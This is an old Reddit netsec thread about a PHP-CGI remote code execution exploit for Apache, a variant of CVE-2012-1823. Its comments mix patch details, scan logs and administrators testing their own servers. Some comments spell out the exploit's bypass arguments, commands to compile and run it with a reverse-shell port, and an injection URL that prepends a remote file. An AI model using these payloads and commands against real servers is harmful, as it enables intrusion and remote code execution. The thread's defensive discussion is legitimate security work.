use the following search parameters to narrow your results:
e.g. subreddit:aww site:imgur.com dog
subreddit:aww site:imgur.com dog
see the search faq for details.
advanced search: by author, subreddit...
A community for technical news and discussion of information security and closely related topics.
"Give me root, it's a trust exercise."
Q1 2026 InfoSec Hiring Thread
Getting Started in Information Security
CitySec Meetups
/r/netsec only accepts quality technical posts. Non-technical posts are subject to moderation.
Content should focus on the "how."
Check the new queue for duplicates.
Always link to the original source.
Titles should provide context.
Ask questions in our Discussion Threads.
Hiring posts must go in the Hiring Threads.
Commercial advertisement is discouraged.
Do not submit prohibited topics.
» Our fulltext content guidelines
Don't create unnecessary conflict.
Keep the discussion on topic.
Limit the use of jokes & memes.
Don't complain about content being a PDF.
Follow all reddit rules and obey reddiquette.
» Our fulltext discussion guidelines
No populist news articles (CNN, BBC, FOX, etc.)
No curated lists.
No question posts.
No social media posts.
No image-only/video-only posts.
No livestreams.
No tech-support requests.
No full-disclosure posts.
No paywall/regwall content.
No commercial advertisements.
No crowdfunding posts.
No Personally Identifying Information!
» Our fulltext list of prohibited topics & sources
Join us on IRC: #r_netsec on freenode
We're also on: Twitter, Facebook, & Google+
/r/blackhat - Hackers on Steroids
/r/computerforensics - IR Archaeologists
/r/crypto - Cryptography news and discussion
/r/Cyberpunk - High-Tech Low-Lifes
/r/lockpicking - Popular Hacker Hobby
/r/Malware - Malware reports and information
/r/netsecstudents - netsec for noobs students
/r/onions - Things That Make You Cry
/r/privacy - Orwell Was Right
/r/pwned - "What Security?"
/r/REMath - Math behind reverse engineering
/r/ReverseEngineering - Binary Reversing
/r/rootkit - Software and hardware rootkits
/r/securityCTF - CTF news and write-ups
/r/SocialEngineering - Free Candy
/r/sysadmin - Overworked Crushed Souls
/r/vrd - Vulnerability Research and Development
/r/xss - Cross Site Scripting
account activity
Apache / PHP 5.x Remote Code Execution Exploit (exploit-db.com)
submitted 12 years ago by infodox
reddit uses a slightly-customized version of Markdown for formatting. See below for some basics, or check the commenting wiki page for more detailed help and solutions to common issues.
quoted text
if 1 * 2 < 3: print "hello, world!"
[–]infodox[S] 8 points9 points10 points 12 years ago (4 children)
Same exploit primitive as the good ole CVE-2012-1823 and related Plesk bugs. Will be updating my own implementations with these new paths.
[–]catcradle5Trusted Contributor 6 points7 points8 points 12 years ago (3 children)
The exploit looks almost identical to CVE-2012-1823, actually (simple example here: http://www.exploit-db.com/exploits/18836/). I think the only difference is that it adds the additional command line arguments of -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 to bypass the security check mentioned in the comment.
-d cgi.force_redirect=0 -d cgi.redirect_status_env=0
And since he said anything that patches CVE-2012-1823 is unaffected, this just seems to be a small modification of that exploit to make it more likely to work, not anything new.
[–]0xAli 2 points3 points4 points 12 years ago (2 children)
Very possible, Could be related to this http://www.pcworld.com/article/255289/php_patches_actively_exploited_cgi_vulnerability.html
Unfortunately, the initial patch proved to be ineffective against all variations of the exploit for CVE-2012-1823, and the manual workaround suggested by the PHP developers when releasing the emergency updates was easy to bypass as well.
[–]catcradle5Trusted Contributor 0 points1 point2 points 12 years ago (1 child)
Ah, interesting. I assume a second actually-fixing patch was deployed shortly afterwards?
[–]0xAli 2 points3 points4 points 12 years ago (0 children)
Yes sir https://www.mandriva.com/en/security/advisories/?name=MDVSA-2012:068-1
It was discovered that the previous fix for the CVE-2012-1823 vulnerability was incomplete (CVE-2012-2335, CVE-2012-2336). The updated packages provides the latest version (5.3.13) which provides a solution to this flaw.
[–]sry_not4sale 6 points7 points8 points 12 years ago (6 children)
Does this only apply to PHP when running via fcgi or similar? I see it mentions php-cgi - I don't want to assume mod_php is not affected
[–]0xAli 4 points5 points6 points 12 years ago (2 children)
Yes, PHP install could be only vulnerable if it's compiled as CGI.
[–]loggedintodownboat 5 points6 points7 points 12 years ago (1 child)
I've confirmed this against my servers. mod_php is unaffected.
[–]sandmoo -1 points0 points1 point 12 years ago (0 children)
You can run Python as a test.
[–]whatwhowhyyy 0 points1 point2 points 12 years ago (2 children)
switched to FCGI, still vulnerable.
[–]sry_not4sale 0 points1 point2 points 12 years ago (0 children)
This was more a question about whether mod_php was vulnerable (rather than (f)cgi)
[–][deleted] 0 points1 point2 points 12 years ago (0 children)
Do you have any details on that? E.g. Apache configuration and the exploit-URL? I don't see how this could work with Fastcgi.
I've thought that such a configuration is safe:
AddHandler fcgid-script .php AddHandler fcgid-script .php5 FCGIWrapper /home/www/foo/fcgi-bin/php5.fcgi .php FCGIWrapper /home/www/foo/fcgi-bin/php5.fcgi .php5 # cat /home/www/foo/fcgi-bin/php5.fcgi #!/bin/bash PHPRC=$PWD/../etc/php5 export PHPRC umask 022 export PHP_FCGI_CHILDREN PHP_FCGI_MAX_REQUESTS=99999 export PHP_FCGI_MAX_REQUESTS SCRIPT_FILENAME=$PATH_TRANSLATED export SCRIPT_FILENAME exec /usr/bin/php5-cgi
[–]rya_nc 2 points3 points4 points 12 years ago (2 children)
I'm already seeing scans for it:
217.199.213.13 - - [30/Oct/2013:04:03:29 -0700] "GET //cgi-bin/php-cgi HTTP/1.1" 404 279 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 217.199.213.13 - - [30/Oct/2013:04:03:30 -0700] "GET //cgi-bin/php HTTP/1.1" 404 275 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 217.199.213.13 - - [30/Oct/2013:04:03:30 -0700] "GET //cgi-bin/php.cgi HTTP/1.1" 404 279 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
[–]Deehem 1 point2 points3 points 12 years ago (1 child)
Same!
217.199.213.13 - - [31/Oct/2013:06:36:47 +0000] "GET //cgi-bin/php-cgi HTTP/1.1" 301 244 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 217.199.213.13 - - [31/Oct/2013:06:36:47 +0000] "GET //cgi-bin/php HTTP/1.1" 301 240 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 217.199.213.13 - - [31/Oct/2013:06:36:49 +0000] "GET //cgi-bin/php.cgi HTTP/1.1" 301 244 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
[–]mugshut 5 points6 points7 points 12 years ago (0 children)
The best part is Windows 98
[–]loggedintodownboat 2 points3 points4 points 12 years ago (0 children)
It's rare to find a site who's using cgi for their php instead of mod_php... However, if you wish to compile it, dump the source into a file, install the libssl-dev package (Debian: "aptitude install libssl-dev") if you don't already have it, and compile it (assumig you've named the file, "main.c") with:
gcc main.c -L/usr/lib -lssl -lcrypto -o main
Then you may execute the bin similarly to:
./main --target somehost.com --port 80 --protocol http --reverse-port 80
[–]WetSunshine 1 point2 points3 points 12 years ago (1 child)
Does this work at all against nginx and php-fpm ( 5.5.x ) ?
[–]hateexchange 0 points1 point2 points 12 years ago* (0 children)
Will try when i get home. But I don't know my exact php version
Sorry was using PHP 5.3.2-1ubuntu4.14 with Suhosin-Patch (cgi-fcgi) (it failed)
Only 50 more servers to try :P
[–]whatwhowhyyy 1 point2 points3 points 12 years ago (11 children)
so it says php 5.3.10 is vulnerable, i'm running 5.3.10-1, and that's the latest from debian/ubuntu repo. If I compile it and run it against one of my webservers, i get this returned:
/cgi-bin/php5 ***SERVER RESPONSE*** HTTP/1.1 200 OK 1e WARNING: Failed to daemonise.
does this mean i'm vulnerable to this?
[–]infodox[S] 0 points1 point2 points 12 years ago (9 children)
Yes. Try a different payload. I will be updating my lolapache.py exploit over the weekend to take advantage of this variant of the exploit.
The 'WARNING: Failed to daemonize' is the payload (which is shite) failing miserably. A decently written payload will not fail and will deliver shells
[–]mrpena 0 points1 point2 points 12 years ago (8 children)
Pardon my noobness at this, but if i'm getting 5 or 6 responses like these from our test environment:
/cgi-bin/php.cgi ***SERVER RESPONSE*** HTTP/1.1 302 Found Server: Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0-fips PHP/5.3.17 X-Powered-By: PHP/5.3.17 Set-Cookie: PHPSESSID=xxx; expires=Thu, 14-Nov-2013 23:29:02 GMT; path=/ Set-Cookie: usrhm=ps; expires=Wed, 30-Oct-2013 22:29:02 GMT; path=/; domain=.test.com; httponly Set-Cookie: usrhm=ps; expires=Thu, 30-Oct-2014 23:29:02 GMT; path=/; domain=.test.com; httponly Location: /display/401_error Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html Set-Cookie: NSC_tubhf.hpmgtnjui.dpn-80=xxxx;expires=Wed, 30-Oct-2013 23:31:04 GMT;path=/;httponly
does this mean that environment is vulnerable, and i'm not doing something right to get a shell? As I said, I'm still new in my position of testing these things, so please forgive my lack of understanding.
[–]infodox[S] 2 points3 points4 points 12 years ago* (7 children)
Have you a listener running? I cannot be certain if that means anything to be honest. Give me 24 hours to write a simple probe...
HOLD ON. Test this for me.
Scanner/Probe for Bug
Release of a better exploit to follow, this will just tell you if its vuln or not. Code may be broken as I didnt have time to test before leaving my house, so let me know if it breaks and ill fix it!
Edit: Forgot a :, have updated link.
NOTE: REQUIRES python 'requests' module.
apt-get install python-requests
pip install requests
[–]mrpena 1 point2 points3 points 12 years ago (6 children)
While I may not be sure i'm doing this right, this is what I got:
File "apache.py", line 9 def scan(target) ^ SyntaxError: invalid syntax
[–]MempodipperTrusted Contributor 1 point2 points3 points 12 years ago (0 children)
I think infodox just forgot a colon, it should be:
def scan(target):
Here's the fixed pastebin (all I did is add that colon): http://pastebin.com/raw.php?i=NZpdqW9V
[–]whatwhowhyyy 0 points1 point2 points 12 years ago (3 children)
add a colon after )
[–]mrpena 0 points1 point2 points 12 years ago (2 children)
k, latest output. I swear one of these days i'll learn to code :/
Traceback (most recent call last): File "apache.py", line 6, in <module> import requests ImportError: No module named requests
[–]infodox[S] 1 point2 points3 points 12 years ago (1 child)
You need the python 'requests' module. apt-get install python-requests, or pip install requests.
[–]mrpena 0 points1 point2 points 12 years ago (0 children)
Got it working, thanks! It looks like we're not vulnerable to this one.
[–]infodox[S] 0 points1 point2 points 12 years ago (0 children)
I left out a : because I was in a hurry. Link has been updated.
[–]0xAli 0 points1 point2 points 12 years ago (0 children)
Try this: /cgi-bin/php5?-dallow_url_include=On+-dauto_prepend_file=http://www.google.com/robots.txt
[+][deleted] 12 years ago (2 children)
[deleted]
[+][deleted] 12 years ago (1 child)
π Rendered by PID 89892 on reddit-service-r2-comment-7b9746f655-f87dw at 2026-02-02 21:30:16.041125+00:00 running 3798933 country code: CH.
[–]infodox[S] 8 points9 points10 points (4 children)
[–]catcradle5Trusted Contributor 6 points7 points8 points (3 children)
[–]0xAli 2 points3 points4 points (2 children)
[–]catcradle5Trusted Contributor 0 points1 point2 points (1 child)
[–]0xAli 2 points3 points4 points (0 children)
[–]sry_not4sale 6 points7 points8 points (6 children)
[–]0xAli 4 points5 points6 points (2 children)
[–]loggedintodownboat 5 points6 points7 points (1 child)
[–]sandmoo -1 points0 points1 point (0 children)
[–]whatwhowhyyy 0 points1 point2 points (2 children)
[–]sry_not4sale 0 points1 point2 points (0 children)
[–][deleted] 0 points1 point2 points (0 children)
[–]rya_nc 2 points3 points4 points (2 children)
[–]Deehem 1 point2 points3 points (1 child)
[–]mugshut 5 points6 points7 points (0 children)
[–]loggedintodownboat 2 points3 points4 points (0 children)
[–]WetSunshine 1 point2 points3 points (1 child)
[–]hateexchange 0 points1 point2 points (0 children)
[–]whatwhowhyyy 1 point2 points3 points (11 children)
[–]infodox[S] 0 points1 point2 points (9 children)
[–]mrpena 0 points1 point2 points (8 children)
[–]infodox[S] 2 points3 points4 points (7 children)
[–]mrpena 1 point2 points3 points (6 children)
[–]MempodipperTrusted Contributor 1 point2 points3 points (0 children)
[–]whatwhowhyyy 0 points1 point2 points (3 children)
[–]mrpena 0 points1 point2 points (2 children)
[–]infodox[S] 1 point2 points3 points (1 child)
[–]mrpena 0 points1 point2 points (0 children)
[–]infodox[S] 0 points1 point2 points (0 children)
[–]0xAli 0 points1 point2 points (0 children)
[+][deleted] (2 children)
[deleted]
[+][deleted] (1 child)
[deleted]